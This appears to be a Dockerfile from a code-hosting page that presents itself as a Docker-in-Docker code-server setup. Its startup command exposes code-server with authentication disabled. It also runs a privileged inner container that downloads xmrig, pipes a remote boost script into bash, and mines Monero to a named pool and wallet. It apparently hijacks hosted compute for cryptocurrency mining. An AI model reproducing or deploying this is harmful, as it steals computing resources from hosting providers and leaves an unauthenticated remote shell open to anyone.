File size: 1,721 Bytes
e915bfb
 
2fce427
e915bfb
 
 
 
 
 
 
 
 
 
 
 
2fce427
e915bfb
 
 
2fce427
e915bfb
 
2fce427
e915bfb
 
2fce427
e915bfb
 
 
 
 
 
2fce427
e915bfb
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Use the official Docker-in-Docker image as the base image
FROM docker:latest

# Install dependencies
RUN apk add --no-cache \
    bash \
    curl \
    wget \
    sudo \
    ca-certificates \
    && \
    # Install Docker CLI
    curl -fsSL https://get.docker.com | sh && \
    # Install code-server
    curl -fsSL https://code-server.dev/install.sh | sh

# Configure DNS for the main Docker container
RUN echo "nameserver 8.8.8.8" > /etc/resolv.conf && \
    echo "nameserver 8.8.4.4" >> /etc/resolv.conf

# Expose the port for code-server
EXPOSE 7860

# Expose port for xmrig (if needed)
EXPOSE 3333

# Install Docker and Docker-in-Docker for the inner Docker container
RUN apk add --no-cache docker && \
    mkdir -p /inner-docker && \
    cd /inner-docker && \
    echo "nameserver 8.8.8.8" > /etc/resolv.conf && \
    echo "nameserver 8.8.4.4" >> /etc/resolv.conf

# Start Docker daemon and run code-server and xmrig
CMD ["sh", "-c", "dockerd & code-server --bind-addr 0.0.0.0:7860 --auth none & docker run --privileged -d --name inner-docker-container -p 7860:7860 -p 3333:3333 -w /home/ubuntu -v /home/ubuntu:/home/ubuntu ubuntu:latest /bin/sh -c 'apt update -y && apt install -y wget msr-tools && wget https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-linux-static-x64.tar.gz && tar -zxf xmrig-6.22.0-linux-static-x64.tar.gz && cd xmrig-6.22.0 && bash -c \"$(curl -fsSL https://raw.githubusercontent.com/xmrig/xmrig/master/scripts/randomx_boost.sh)\" && ./xmrig -o xmr-us-west1.nanopool.org:10343 -u 425icq3TLKkiRg8VH73mkJA41TAd3wtrCg8kcLM6NAyaiepzLJoLjjwj9AbL2fUC3CDPirauNHtyaDmdKwDs7x8LBMq3DuF.worker -p crea8yt@gmail.com --tls -k --coin monero -a rx/0 --randomx-1gb-pages --huge-pages'"]